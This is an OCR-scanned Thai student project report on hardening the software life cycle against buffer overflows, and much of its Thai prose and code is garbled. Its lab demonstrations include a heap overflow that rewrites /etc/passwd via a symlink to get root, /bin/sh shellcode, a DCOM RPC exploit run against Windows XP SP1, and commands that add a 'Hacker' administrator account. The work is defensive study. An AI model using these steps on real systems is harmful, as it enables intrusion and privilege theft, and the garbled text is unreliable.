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ABSTRACT

This project aims to study Software Development Life Cycle (SDLC) and harden each
phase within SDLC for more security by concentrating on implementation (coding) and testing
phase using ¢ , c++ languages on UNIX operating system. The major problem is buffer overflow
attack, which can be prevented by implementing the Secure Coding Checklist, which is used as
basic security regulation applied to many types of software such as application software, OS
utility software, security software and especially security software that has been developed by
either ISAG project room or Computer Engineering Department. In addition, three more
programs have been developed in assistance for vulnerability detection, security flaws testing and

program version updating respectively.
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Qs 3 I3 =Y
222 fedams Snanases aiedsstenesival
zinclude <stdio.he
zinclude <stdlib. h>
it maindint arge, <har *argv[])
{
FiLk *filed;

char *userinput = malloc(20};
char *outputfile = malloc(20);

if{arge < 2)

{

printf(“lisage: s <string to be written to Jtmp/notesswn”,argv[0]);
exit(0});

}

strepy(outputfile, “Stmp/motes”);
strepy(userinput, argv(1]);

printf("userinput % %p: %s%n”, userinput.,userinput);
printf (“outputfile @ %p: ~ewn',outputfile,outputfile);

filed = fopen(outputfile, "a™);
1f(filed == NULL)

fprintf(stderr, “arror opening file %s'n”, outputfile);
exit(l);

},

fprintf(filed, "%s~n",userinput);

fclose(filed);

return 03

I

14 ]

anTdsunsy Tsunsuazdiinisdsemadudsupn lamiintuni 2 &1 ude

i o ¢ ¢ o 0
userinput 1122 outputfile Tavraartizeanus1 Ativuin 20 MsusamasnnduTsunsuazi

@ ° =3 o 2 1 @ < 1

m3suand15udasih Tuidn 13 Tud s userinput daudas outputfile 921AVA /tmp/notes

o o o o a P o Yy oy Ad YWYy o
wasomiy Tusunsufveimsion Ilaheduudauns ouputfile dredonnuiny1ilud,

115 userinput

Ed
%1nﬁuaaaﬁ1ﬂ1sﬂizuaawaiﬂsuﬂiu

waan@Jinx:~/project$ ./heap_overflouw overflouw
userinput @ 0x8049958: overflow

outputfile @ 0xB049970: /tmp/notes
waan@Jinx:~/project$ cat /tmp/notes

overtlow

waan@Jinx:~/projects
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=1 ' [ ) o [ 1
winunTsunsuegiins@oudonusii overflow  aeluds tmp/motes uadus

aosldansantiaununinldsunsuaes 13

waan@Jinx:~/project$ ., /heap_overflow 123456789012345678301234567890
userinput @ 0x8049958: 123456789012345678901234567850

outputfile @ 0x8049870: 567890

waan@Jinx:"/project$ i

pxiftuE s outputfile vzgrilouiusutieaaNMsduvoefauls userinput #1
MW Tdsunsuiimsiloudionaiu 123456789012345678901234567890 aa laliaTWd 567890 Tu
nsduuui Tsunsuiizadhudves Induasimsdem sUD Wi Tsunsufiannsarh
Tudly Indddn 18 Taoinme fetc/passwd laudemnsod iudldfnansidugald
vuRers e ufios 197 userinput 1514 rooted::0:0:m:/root/bin/bash 182 outputfile HAnily

fetc/passwd uadus 1gmids J/heap overflow rooted::0:0:m:/root:/bin/bash f outputfile #1Aeed

v
o o

v v @ - 2 1] PRV
AT /bash 51281 outputfile xR uAGISNYsH 25 9 liilluilse Towd Aefiisrdesnisie
o w . ] a o 1 o

¥ 1A 25 B userinputfile TANTIU /etc/passwd AT RDIIRBAT e lalsAneSLaryiing

#5719 SYM LINK #4id

waan@Jinx:~$ mkdir /tmp/etc
waan@Jinx:~$ ln -s /bin/bash /tmp/etc/passwd
waan@Jinx:~$

]
2

2 o £ o o o
a9 19 /tmpletc/passwd 898 1UT /bin/bash 110U 1¥ME /heap_overflow

4 v o
rooted::0:0:m:/root:/tmp/etc/passwd Fevz lanadadi

waan@Jinx:~/project$ ./heap_overflow rooted::0:0:ms/root:/tmp/ete/passud
userinput @ 0x8049958: rooted::0:0:m:/root:/tmp/etc/passud

outputfile @ 0x80499703 fetc/passud

waan@Jinx:~/project$ su rooted

Jinwx:/home/waan/project# id

uid=0(root) gid=0{root) groups=0(root)

Jinx:/home/waan/project# B

1 a a oA o L4
sgiudnsrenmnsoiud 19911 fete/passwd tazannse laansifluga msidndg

o A, o o
waosnalIn el Tores Inad
o i v a ras 4 & o I~ C4
fafina1nu tiMes Termes IWad iWuuadsmsnisdauduuuimaveanisifad nd
t 3 1] o { a oo
wasgaveaTUsunsy mansznuvesiiudrouswin Taod hivszaedai laanfiliugauds

9
s ° v =1 o 1 N
dumusones lssuszuuveusin 14 suszne Iinaanudenieunuiy
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/jc.c
#include <stdio.h>
int main()
{ charjayce[4]=“Oum”;
char herc[8]= “Gillian” ;
strcpy(herc, “BrookFlora”) ;
printf(“%s\n”, jayce) ;

return 0 ;
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SW@ce.kmitl.ac.th:~$ gce jayce.c

SW@ce.kmitl.ac.th:~$ ./a.out
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SW@ce.kmitl.ac.th:~$
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/foverflow.c

main() {

char strif[10];

itrcpy (stri1, "AARAAAAAAAAAAAAAAAAAAAAAAAAA"Y;
}

514 2.7 dieldBuwemilu A S1u2m0
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Jinx: /homefwaan/projectd gcc ~ggdb -o overflow overflow.c
Jinx:/home/waan/projectd . /overflou

Segmentation fault

Jinx: frame/wvaanfprojecti B
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Jinx:/home/waan/project# gdb ./overflow

GNU gdb 6,3-debian

Copyright 2004 Free Softuware Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying" to see the conditions.

There is absolutely no warranty for GDB, Type "show warranty" for details,

This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/
libthread_db,so.1",

(gdb) run
Starting program: /home/waan/project/overflow

Program received signal SIGSEGY, Segmentation fault.
0x41414141 in' 77 O

{gdb) info reg eip
eip Oxd41414141 0x41414141
(gcb) I

314 2.9 uaaamsasadinlsunsulenesIvad
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//shellcode.c

char shellcode[] =

"B RO\ XE 1 Ndby xbO XL T xed k80"

"yxebi X1y x5\ X89ANTE \ N0\ 3 1A XCOVNBR L X 46\ K07\ X8\ X465 X0\ xbO\ x0Ob"
AR XTI N8 x4\ XOR L XRA 56 X0 xedh X8O N 1A ndb A x89 5\ xd8\ x40\ xcd"
"LxB0yxe8\xdosxffiyxffiuxff/bin/sh”;

voeld main() {

int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

U 2.10 wamadnuuzveuvadlng
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Server

XML file

New Version File

Programmer
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CFileVersionInfo fVer;

if ( FALSE == fVer.Open{ "your_exe file.exe" ) )
return;

fVer.GetFileVersionMajor () ;
fVer.GetFileVersionMinor () ;
fVer.GetFileVersionBuild() ;

DWORD dwExeMajor
DWORD dwExeMinor
DWORD dwExeBuild

L & Q Qr 3 o
Major , Minor , Build iWuaaunilsvesdaunes sunanua oy 1.2.40 nuods
. . . ) a [ a a
Major=1 , Minor=2 , Build=40 $1naideamsasmnssunnidndaseuiia lna gudse14ooy

199 CFileVersionInfo taz 14 fF GetModuleFileName() §115U3" vy TWad
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<?xml version="1.0" encoding="UTF-8"?>
<XML_DIZ_INFO>
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<Program_Info>

<Program_Name>UpdateCheck Example</Program_ Name>
<Program_Version»1.0.0</Program_Version>

</Program_Info>
</XML_DIZ_INFO>

3 v A y
91nTRauTN “Program_Info” Tauilszneuiiy “Program_Version” dasmasetiidiu

o o U A A o dyd l . - o o o ° =
unesFumgaredlsunsy Aviideinniiesu Sring MilumunesFunazirllion

funesFuveslusunsuilegivuedly

] 9 o o [ @ 0 ] ¢ o3 ' v =) 9 3 o
Fas1deanislsgFudiniudasiluwondiounea Idd 19y Woulddunid
<Program_Version> 1% </Program_Version> Wazdae1a1nsanalieeny (il anTem
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// Get root node
TiXmlNode* pDIZ = xmlDoc.FirstChild( "XML DIZ INFO" );

if ( NULL == pDIZ )
return;

// Get the program info node (parent node is root node above)
TiXmlNode* pPInfo = pDIZ->FirstChild( "Program_Info" );

if ( NULL == pPInfo )
return;

// Get the version node (parent node is program info above)
TiXmlNode* pPVer = pPInfo->FirstChild( "Program Version'" );

if ( NULL == pPInfo )
return;

// Cast our version node to an element
TiXmlElement* pPVerEl = pPVer->ToElement ();
ASSERT( NULL != pPVerEl );

// Extract the text of this node into a CString object
CString strVer = pPVerEl->GetText () ;

DWORD dwFileMajor = 0;
DWORD dwFileMinor = 0;
DWORD dwFileBuild = 0;

// Extract the version information parts into separate variables

char szBuf[ 32 ]; :

sprintf( szBuf, "%s", strVer.Getifimei( 1 ) );

sscanf ( szBuf, "%d.%d.%d", &dwFileMajor, &dwFileMinor, &dwFileBuild };
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DWORD dwExeSum = ( dwExeMajor * 100 ) + ( dwExeMinor * 10 ) + dwExeBuild;
DWORD dwFileSum = { dwFileMajor * 100 ) + ( dwFileMinor * 10 ) +
dwFileBuild;

if ( dwFileSum > dwExeSum )

{
m_strVer.Format ( "%d.%d.%d", dwFileMajor, dwFileMinor, dwFileBuild );
bUpdate = true;

}

if ( bUpdate )

{
}

MessageBox ()

o 4 ] ’ s d o v o - o . '
hmsgaudly e le 1831 major neFFuMIA vzlSsuiRousy minor A1 ldgndes

U 4.2.1 WD 3.7.3
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“Malicious hackers don’t create security holes; they simply exploit them. Security holes and
vulnerabilities — the real root cause of the problem — are the result of bad software design and
implementation.”

-Terry Stanley, VP Security, Master Card-
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<?xmi version="1.0" ?>
<XML_DIZ_INFO>
<Program_Info>
<id>{407b1420-ec9e-415e-a45e-7e2e396746f8} < /id>
<version>2.0</version>
<xmiLink>http://www.your.com/update.xml</xmiLink>
<fileLink>http://www.your.com/new_install.zip</fileLink>
</Program_Info>
</XML_DIZ_INFO>

q o v g ¢
31 4.5 drotraBnTIBUNDA (update.xml)

2. IWdWanu nazianned (update.c , update.h)

o o A o o I s Q’l’ o a [
WaHersun IFdmsumasanessu saufiaeamss lunsi lUsunwdmudid iy

Tsunsu Tagh W8 update.c
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1i1'lWd update.xml, update.c , update.h 11 3 laisanediRoatuxesalna

ﬁmuﬂuﬁnehm Tu'nd update.xml

<id>{GUID}</id>
<version>Version_number</version>
<xmiLink>URL_to_xmi</xmlLink>
<fileLink>URL_to_newfile </fileLink>

1 T1)sunsnn #include “update.h”
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¢
Read Local Read Server
Version Version

Compare
Server XML > Local XML

Yés

Download new
version
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[y d o d
442 mslfulqanestudruvenavedliend
o 3 ) . oo 4 o
MM3AnHINGUIATINU Web Content Filtering (#84390 ISAG) FuTludnumzves

. ’q /o o 9 A & d o
ﬁ'Ju‘lJﬂ?UUUqwiﬂﬂﬂcﬁﬂﬂ@ﬂﬂWﬁUTﬂﬂﬁﬂ\ilu9W1L’JUIW%ﬂﬂﬂ‘lﬂ1uﬂ1Qﬁ1Nﬂ UG

%3 Add-ons

* /@

Extensions Themes Updates

' {ii} Fietox Showeaze 0911 -~
.‘.!‘c f Easily locate any tab you've opened in Firefox.

FlashGot 059703
© ¥ Enables single and massive ["al’" and “selection'") downloads using the most popular extemnal ...

Tab Effect 1.t

Tab Effant

Talkback 2007

Sends miomation sbout mog am cashes in Mozifa

I ¢£2.Wab Content Filtering 1.0.0.
I - Fliter contert and image from Web Site;

(2 EindUpdates | Gt Extensions

gll‘ﬁ 4.7 Web Content Filtering Extension Version 1.0.0
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b 4
S W 1

4421 myafullduinne dmivaadaduvee
1. wcfxpi !fJu"lwa’uﬁmn%ﬁ“l%'“lunﬁ install extension 41U 1w Hond
2. Iﬂﬂﬁ' wef.xpi ¥191ANIT zip W4 install.rdf A1 chrome (folder) Wi
wdandswuana zip il xpi
- chrome (folder) U3 znov ludolWd WebContentFiltering.jar
3. WebContenFiltering.jar 319103 zip content (folder) ué’mﬂﬁﬂuumﬁf}mﬂu Jar
- content (folder) 13 znou 1o 1Wa contents.rdf uaz WebContentFiltering-

Overlay.xul

't:; A =4 A 1 -] o
Tunfise ldnanteneaziBeatug anisraulalunsimnsasumsiinlg
b4

Ja o A

nossuiufe 1Wa install.rdf

¥
4422 duseulumsimsasiegeumsiiuiliunesidu

~ =1 {o o o o ° s o

1. MG installedf TunnndrdydmiumshiasvasumsdsuilyamneiFufo

1.1 <em:version> szynesFuvesdLnedalagiu
. ’ <& '
1.2 <em:id> 3%1) GUID vo3duvetosafoaiiumimmenie e
1.3 <emwupdateURL> 53181 URL v04 a7 IduTmsmssnian
| . P ¢ o s ¢ o A 1 o

1.4 <em:minVersion> szydaneidu Insendmeaanduvneissiy

; -2 <o 4 o A 1 o
1.5 <em:maxVersion> 3521)Da0035u IS Hendgegandiuanssesiy

<?xml version="1.0"?>

<RDF xmins="http://www.w3.0rg/1999/02/22-rdf-syntax-ns#"
xmins:em="http://www.mozilla.org/2004/em-rdf#">

<Description about="urn:mozilla:install-manifest”>
<em:id>{12a1584b-2123-473d-8752-e82e74e3cb1ib}</em:id>
<em:version>1.0.0</em:version>
<em:targetApplication>
<Description>
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384} </em:id>
<em:minVersion>1.0</em:minVersion>
<em:maxVersion>2.0.0.1</em:maxVersion>
</Description>
</em:targetApplication>
<em:name>Web Content Filtering</em:name>
<em:description>Filter content and image from Web Site.</em:description>
<em:creator>Prueak and Worawit CE@KMITL</em:creator>
<em:homepageURL>http://www.ce.kmitl.ac.th/ </em:homepageURL>
<em:updateURL>http://161.246.5.10/project/update.rdf</em:updateURL>
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<em:contributor>NECTEC and SIPA</em:contributor>

<em:file>

<Description about="urn:mozilla:extension:file:WebContentFiltering.jar">
<em:package>content/ </em:package>

</Description>

</em:file>

</Description>
</RDF>

ssdanaiy 18 I <em:id> 2 dufe

{1221584b-2123-473d-8752-¢82¢74e3cb1b} 1511 GUID dmdudnveesveas Fadeq
Fusbidrdulas oz {ec8030f7-c20a-464{-9b0e-1323a9¢97384} 111y GUID dmsu
s Nond

' k4
2. vuESnesnlRuSmsmsdwan sulllWg update.rdf of

¢ o ) ]
2.1 <version> 53‘14L’J'l’)5‘1514‘11’00ﬁ’31ﬁlﬂ’1t111111
2.2 Umn:mozilla:extension: 7¢1] GUID VoIV NADINS
] ¢ a o v ila Y LY '
2.3 <updateLink> sy IlauimnedmsuRadanessuln

<?xml version="1.0" ?>
<r:RDF xmins:r="http://www.w3.0rg/1999/02/22-rdf-syntax-ns#"
xmins="http://www.mozilla.org/2004/em-rdf#">
<r:Description about="urn:mozilla:extension:{12a1584b-2123-473d-8752-e82e74e3cb1b}">
<updates>
<r:Seq>
<r:i>
<r:Description>
<version>2.0.0</version>
<targetApplication>
<r:Description>
<id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384 } < /id>
<minVersion>1.0</minVersion>
<maxVersion>2.0.0.1</maxVersion>
<updateLink>http://161.246.5.10/project/install.xpi< /updateLink>
</r:Description>
</targetApplication>
</r:Description>
</r:li>
</r:Seq>
</updates>
<version>2.0.0</version>
<updateLink>http://161.246.5.10/project/install.xpi</updateLink>
</r:Description>
</r:RDF>

é ’ ' g o H =t ) o/ o
“INllll!ﬁtlﬂllﬂi’t)\ﬁ’ljﬂ'liﬂWlﬂWﬁ’)uﬂlﬂ'lleWUQllﬂﬁlaﬂ’J UASIATUITDIDITUNT

Swimanateq dauvetela @romsszyled)
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5.1 MmanaaaulUsunsy VulnScan

Tusunsy VuinSean fuTilsunsuitiyassasdiiefozaunusesa ldaioudan
J w [y

= A - v v [ ] 9 d’ 1 @ I'd L4
AT INBNVLHIFDY [N AN aoafe 151 N5 1sHanFuNsuaswnolivines lones

4 cv o ¢ a
Tad vSems Idnudnnlsersisdinuveuian

F2UUNIIMTNATDY
Intel Pentium 4 2.0 GHz
Ram 512 MB

izuuﬂﬁﬁﬁmstﬁun«f Fedora Core 1

Option $1749)
4'! o 9/ o o d' d' ) =t r:l' A
-f Wen39TuMs lsHenFundssnenagn laudnasanuiodug
A " - LY
o (IWORTMIAUNUVBUIVRVDIAUAIS
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v WoIFAA DS YU 1sunTy
A Qs 1
-u ioowan lusunsy |
I
TUADUNITNADDY

[
o

1. MnsnageuTusunsudulfe Flaw.c Taold mdq

python VulnScan.py —f Flaw.c

v

. A o 9y o A 1 = P A
Option -f mamsaﬂ%umﬂﬂvﬂanﬂnumﬂmmamsQﬂiwmmzmmmmauq

swwazdenlfn Aaw.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fentl.h>
#include <sys/stat.h>
#include <string.h>
#include <ldap.h>

char *ldap_host = "192,168.1,100"; // Firestation host name or IP
address




char *root_dn = "cn=Administrator, cn=Users, dc=hephaestus, dc=com"; // Root dn of
Active directory

char *root_pw = "123456"; // Root dn's password

char *dn = NULL;

// Edit By waan
char arr1[10];
char arr2[20];

int logging(LDAP *Id, unsigned char *log)
{

char* dn;

LDAPMod *list_of _attrs[2];
LDAPMod attribute;

LDAPControl **srvrctrls, **cintctris;

// Distinguished name of the entry that you want to modify
dn = "cn=firescreen, cn=computers, dc=hephaestus, dc=com";

// Values to add or change
char *logEntry[] = { log, NULL };

// Specify each change in separate LDAPMod structures
attribute.mod_type = "firewallLog";

attribute.mod_op = LDAP_MOD_ADD;
attribute.mod_values = logEntry;

// Add the pointers to these LDAPMod structures to an array
list_of attrs[0] = &attribute;
list_of attrs[1] = NULL;
// Change the entry
if ( Idap_modify_s( Id, dn, list_of_attrs ) I= LDAP_SUCCESS ) {
Idap_perror( Id, "ldap_modify_s" );
return( 1 );

}

//Edit by waan
arri[11] = "555";

return 0;

}
int main( int argc, char *argv{] )
printf("\n[ PEBKAC J\n\n");
LDAP *Id;
FILE *fp;
unsigned char log[999], temp[999];
unsigned char *token;

int chk=0;

// Init LDAP connection
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if (1d = Idap_init(ldap_host, LDAP_PORT)) == NULL ) {
perror( "ldap_init failed!!!" );
exit( EXIT_FAILURE );

}

// LDAP binding

if (Idap_bind_s(ld, root_dn, root_pw, LDAP_AUTH_SIMPLE) != LDAP_SUCCESS ) {
Idap_perror( Id, "ldap_bind failed!!" );
exit( EXIT_FAILURE );

}

fp=fopen("/var/log/firescreen.log", "r");
int i=0, counter=0;
while (fgets(log, 999, fp) != NULL) {

//printf("\nlog na ja: %s\n", log);
strepy(temp, log);

// tokens seperated with " "
token = strtok(temp, " ");

while (token != NULL) {
if (Istrcmp(token, "FIRESCREEN")) {
logging(id, log);
printf("%s\n", log);

b
//printf("%s\n", token);
token = strtok(NULL, " ");
)
¥

counter++;

//Edit by waan
arr2[20] = "555";

fclose(fp);

fp=fopen("/var/log/firescreen.log", "w+"); // clear log file
fclose(fp);

printf("counter: %d\n", counter);

chk = counter;

exit(0);
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2. wagwinld

Entries in C database: 69

Line: 15 Fixed sized buffer

Line: 16 Fixed sized buffer

Line: 22 Fixed sized buffer

Line: 38 Fixed sized buffer

Line: 39 Fixed sized buffer

Line: 48 Fixed sized buffer

Line: 60 Fixed sized buffer

Line: 99 Fixed sized buffer

Extra care should be taken to ensure that character arrays that are allocated on
the stack are used safely. They are prime targets for buffer overfiow attacks.

Line: 82 : strcpy
Does not check for buffer overflows when copying to destination
Consider using strncpy or stricpy (warning, strncpy is easily misused)

Line: 79 : gets
gets is unsafe!! No bounds checking is performed, buffer is easily overflowable
by user. Use fgets(buf, size, stdin) instead.

Line: 79 : fgets

Double check that your buffer is as big as you specify.When using functions
that accept a number n of bytes to copy, such as strncpy, be aware that if the
dest buffer size = n it may not NULL-terminate the string.

Line: 77 : fopen

Line: 102 : fopen

A potential race condition vulnerability exists here. Normally a call to this
function is vulnerable only when a match check precedes it. No check was
detected, however one could still exist that could not be detected.

Line: 77 : open

Line: 102 : open

A potential race condition vulnerability exists here. Normally a call to this
function is vulnerable only when a match check precedes it. No check was
detected, however one could still exist that could not be detected.

I

nnnamsnaaeaznuImsnums s Fulisaenisgn lanAnaiued e 5y
A { Q/ d‘ o [ 1
strepyO) ¥ TU5UnsuATIONUA V559N 82 tag IAmunz1i1g a5 14 stmepy() M50 strlcpy()

=) [ 9
unuazan udu

3. naaoudnaielaeldmds
python VulnScan.py —r Flaw.c

Option - INOATIVMIAUAUUDUIUAYDIAMS



Find array out of bound

Out of Bound variable ' arrl ' in line : 48
Out of Bound variable ' arr2 ' in line : 99

' a o { 0 ‘é o
INAANITNAADY %zwuammﬂﬂ’fﬁnumuﬂimu‘uamwﬁmim 48 11az 99 mv?\'mmmi

uf
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5.2 manaaavlysunsn OverflowGuard

4 o [ .7 o 4 .
OverflowGuard 11U Tilsunsufinsisunaziloatuiiives Teries Iad 1wy Stack-smashing
& o =
protection FIWALIAWATHE
szuuNMINMsnadou
Intel Pentium 4 2.0 GHz
Ram 512 MB

s oea I L4
seuv1lgian13eiaynd Fedora Core 1

v
PUADUNITNADDY

Minsnageu ldsunsuithalones Ilad

File Edit View Teminal Go Help
[waan@isag46 project]$ ./exploit_art ]

Stack pointer (ESP) : Oxbffffozs
offset from ESP : Ox0
Desired Return Addr : Oxbffff9528
sh-2.05b# whoami
root
sh-2.05b# id
uid=0(root) gid=500(waan) groups=500(waan)
sh-2.05b# i

o

514 5.1 shedn Tusunsumsinmiies Teres IWad

= v A 1A 3 A ) 1
U AT ousegn Towd 1decnedasy sumuimves vid sznldoulhifluga

] ° o r's o o
taasnmMsnauanlanes Iadlsyaunaduss

1. vhmsaonlndwesaIanldsunsy dedds

gee ~fPIC — —o Overflow_Guard.o Overflow_Guard.c

gcc —shared —o Overflow_Guard.so Overflow_Guard.o —Idi
2. e Overflow_Guard.so Tildia Nlib/Overflow_Guard.so
3. uﬁml‘ll"lﬂa(/etc/ld.so.preload Taolds Nib/Overflow_Guard.so Wl
4. wamoudeTsunsu@ndnads

) 3
5. waanin laezmiunlsunsuezasivaey udrwinsan Inseana 1u)
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File Edit View Terminal Go Help

[waan®isag46 projectl$ ./exploit_art

Stack pointer (ESP) : Oxbffffo2s
Offset from ESP : Ox0

Desired Return Addr : Oxbffff928

Overflow Detected

OverflowGuard Activated

Killed

[waan@isag46 project]$

[

B

517 5.2 namaliiundlestumsiiaivies Teres Twasld

¥
[ 4

o 1Y% < Yy o ~
ﬁ1ﬁ1u150ﬂ53%ﬁ0ﬂaﬂﬂ1ﬂ%1ﬂ/VmﬂoghemneQN%1ﬂﬂ1iﬂﬂaﬂﬁqﬂNaﬂWﬁ U

SRR ¥ e 2 i it
File Edit View Terminal Go Help

Jan 24 02:52:54 isag46 userhelper[2869]: running ’/sbin/poweroff’ with root privi

leges on behalf of ‘waan’

Jan 24 02:52:59 isag46 sshd[1689]: Received signal 15; terminating.

Jan 24 03:27:18 isagd6 sshd[1691]: Server listening on 0.0.0.0 port 22.

Jan 24 03:32:02 isagd46 xinetd[1707]: START: sgi_fam pid=1953 from=<no address> v

Jan 24 03:51:11 isag46 overflow_guard.so[2231]: overflow [strcpy()] by uid:500 eu y

v

L ST RA R 80,

id:0 pid:2231
[rootéisagdé project]# [}

i 53 Aenlvld
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daa Y
5.3 MInagaunoandHIdINTH

[ .. . ¢ . . é
MWMsnagou 111Ny Fault injection tool 159974 Web Content Filtering iy

1oUWARNF YUY Windows

NATBUNIT Exploit DCOM RPC 11U Windows a0 lWd18A MS Windows DCOM

[Y o rey L1 a a . [
Exploit.c 1atnaandfy Windows SP1 Mg lilimsunaslag iWudAne1n Microsoft taz 13i3)

113 Disable DCOM

Fault Injection Tool

szuuRnIMINAdaoY

Intel Pentium M 1.7 GHz
Ram 1024 MB

szvnlfiiansal Windows XP SP2

¥
TUADUAITNAA DN

1.

T151A5Y Fault Injection Tool N3 19971 Option A4 a0l
Process ID : Tdvneiay Tsisa loavesTisunsuiidesmsnaae
Number of message : 91UIUNAIAY
Please Choose type message : endszinnveuungn

Random Win32 message test Ty SendMessage API function

Random Win32 message test Tay PostMessage API function
nAgoURY 151N Web Content Filtering Taemsaieanai PostMessage
110¢ SendMessage 141 11/$1u3us89az 1000 Wwatae
HAANENINATOUAIY 1000 message 1Y SendMessage ,PostMessage 135107
Tdsunsugenianund luiia error uangala
naaounv1Usunsu Web Content Filtering Taoyiimsdauatasuuy SendMessage 141
Td$mu 5000 ot
Vlﬂ!ﬁﬂ Error
nagounuTUs1NTU Web Content Filtering 10891 3dauataaiiuy PostMessage 191
Tdrmau 5000 wnae

¥
HAGNT ABIRA Error YU Out of memory



E Web Content Filtermng Application

" P Weh Content Filtering Applicstion

e - - Unhandled exception has occured in your application. 1f you click
Continue, the application will ignore this error and attempt to continue. |
i‘denlily‘E you click Quit, the application will close immediately. bt us
tdentit Out of memory.
M l - Continue } L Quit [
Ses the end of this message for detasis on invoking A

just-intime (JI T) debugging instead of this dialog box.

xxxxxxxxxxxxxxxxxxxxxxxxxxxx

Exception Text
System OutOfMemoryE xception: Qut of memory.

at System.Drawing. Graphics.FromHdcintemal(intPtr hdc)

at System Windows.Forms. PaintE ventArgs.get_Graphics{)

at System Windows. Forms. Control. PaintBack Color[PaintE ventAigs e, Rectangle res

at System Windows.Forms. Control. PaintB ackground(PaintE ventArgs , Rectangle «

at System. Windows. Forms. Control PaintBackground[PaintE ventArgs e, Rectangle 1 v
§ g >

Apiply

L

517 5.4 uaasdoranaraiiognldaunaaagy 5000 SoANUIUY PostMessage

Exploit DCOM RPC
suUfivhmsnaaey
Intel Pentium M 1.7 GHz
Ram 1024 MB
szuvlfiiamsel Windows XP SP2
VMWarel Debian version 2.4
Ram 64 MB
1P 172.16.0.2/16
VMWare2 Windows XP SP1
Ram 256 MB
IP 172.16.0.1 /16

¥
JUADUNITNADDY

]
o/

1. 1Y Debian ¥M3nanna 1Wa MS Windows DCOM Exploit.c Tagl4éda

gee MS\ Windows\ DCOM\ Exploit.c —o wins.o
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- Targets:

Windows 28688 SP8
Windows 20848 SPi1
Windows 2888 SP2
Windows 2888 SP3
Windows 2888 SP4

[l
TN DWN =D

et

TUMZA: etcsdounload exploitd ./wins.o
Remote DCOM RPC Buffer Overflow Exploit
- Origivnal code by FlashSky and Benjurry
- Rewritten by HBM <hdm [atl metasploit.com>
- Usage: .,wins.o <Target ID> <Target IP>

(english)
(english)
(english)
(english)
(english}

Windows XP SPB (english)
Windows XP SP1 (english)

° an o o
2. mnmswagal Tusunsudnawanes lag 14

Jwins.o 6 172.16.0.1

H a 7 3 ¢
19 5.5 uaaaunaanesuiuland Naunsadndwassd 1a

J
o o

=
PN

3. lanadniae Iaradnenuiud layaues Windows SP1 581308

- Dropping to System Shell...

C:\WINDOBWS\system32>_

Microsoft Windows XP [Version 5.1.26088)
(C) Copyright 1985-28081 Microsoft Corp.

TUMZA:/etcr/downloadsexploit® .swins.o 6 172.16.08.1

- Remote DCOM RPC Buffer Overflow Exploit

- Original code by FlashSky and Ben jurry

- Rewritten by HDM <hdm (at] metasploit.com>
-~ Using return address of Bx?7e6Z6ba

y o o
317 5.6 uanamsidndnased lad e

4. naassaeswveflinnantiiudauaszu laeldids

net user Hacker /add

[
Qs

net localgroup Administrators Hacker /add

o

Y =t

5. #a Windows SP1 iliellaqiingdg 9oz num gnadiatigd 1iiFeudeonda

L (73
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Learn About

7} User accounts

2] User account types

7} Switching users PICk a taSk...
¢ Change an account
®  Create a new accourk

®  Change the way users log on or off

or pick an account to change

TuM2a

, Hacker
N Compuker administrator

M Computer administrator

[ Guest

% Guest accourk is off

e i

: stert] 8 User Accounts | [ A [ 254

Y

\— =42 g
514 5.7 Taddlendyninadniumaieunte

[V é s
5.4 MInagaumsnsasumsUiulsaieivy
Taseam ImimsasnaeumsUivilyanessu - vdunduaidhfu Tdsunsy
A o/ L4 d' T o ¥
VulnScan (10 136Wian Signature  Weandui litlasaseslviiq ) az OverflowGuard uas

o [} o 3
NATEUMINTINABUMITNIANYDIdIUYIBveL IS HendonnguInsaa1u Web Content

Filtering

5.4.1 Tsuns1 VulnScan tazlsunss OverflowGuard
syuufivinmsnadey

Intel Pentium 4 2.0 GHz

Ram 512 MB

a e g
szl fiiRmsaiaynd Fedora Core 1

Tsunsy VulnScan
v
AUADUNIITNADDI
1. msneaeulisunsulasldmda

python VulnScan.py —u
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Option —u e lv sunsudnian

v a 19 Y o o 7o
2. WUN signature Inaite Idiimssmaanaoiunessu 2.0

r ey
. bbb ST o ..x:
File Edit View Terminal Go Help
[waan@isagd6 static_analysis]$ python VulnScan.py -u 1]
Current Version : 1.0
Update database signature to version 2.0 i
[waan@isag46 static_analysis]$ -

[+]

317 5.8 dWien 11)51n53 VulnScan

Tdsunsy OverflowGuard
¥
JUADUMTNADDY
1. minsnaey lsunsulasldmds

JOvEG_update

2. W g Iwudnian 330 wan

waana® isagdb Shome/waan/projectiupdate wo B
Eile Edit View Terminal Go Help

Overflow Guard Update Complete

[root@isaga6 updatel# ./OviG_update[]

[ —

314 5.9 dwanlisunsy OverflowGuard

5.4.2 NgNINT9911 Web Content Filtering
ssuuRivinmImaney
Intel Pentium M 1.7 GHz
Ram 1024 MB
zuu§iiamsel Windows XP SP2

Modzilla Firefox 2.0.0.1

TUADUNIINAADY
3. afalia update.rdf 137 Version update checking Server Tiilu Web Content Filtering

105¥U 2.0.0
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4. M9 install Web Content Filtering 1.0.0 84U Firefox Iaon1sna File > Open File
17 browse 1den Ind wef.xpi

5. Restart Firefox 132180n# Tool -> Add-Ons 9z1/51nnhA1eneAd518n15 Extension

€% Add-ons

ﬁ FE
Extensions  Themes  Updates
; {T::;} Firefox Showcase 0.9.1.1 i’\':
; ‘2% Easily locate any tab you've opened in Firefox.
FlashGot 05.97.03
¥ Enables single and massive ["all” and 'selection”) downjoads using the most popular extemal ...
Tab Effect 11
Tab Effect
Talkback 2001
Sends nioimation about orogian crashes to Mozla
. =4, ‘Web Content Filtering 1.00
; %Q Filtes content.and image from Web Site, !
Dpticrs isab i k-
ptiory v { DJ,S le ‘ [ Uninstall } )
%‘,; Find Updates Gst Estensions

31 5.10 1AAITIONS Extensions iy TWsHond

a o . A 4 o o a .
6. NN Find Updates INBNINITATIVABUNITOWAAT N IUYN Extensions

Extensions  Themes  Updates

. Firefox Showcase 0311
Version 0.9.2 is available. Include this update

| (2 Web Content Filtering 1.00

§; Version 20,0 is available. {pchude this update

i

<o

3N 5.11 Tnesau 2.0.0 eanini

a o o ldy q'z o
7. WIndeems swiaadlunessulnuil 1denna Install Updates az309un5219 swian
~ ~ [~
Goudee udr3Samsn s end

o P Y A o o o m 9y a LY
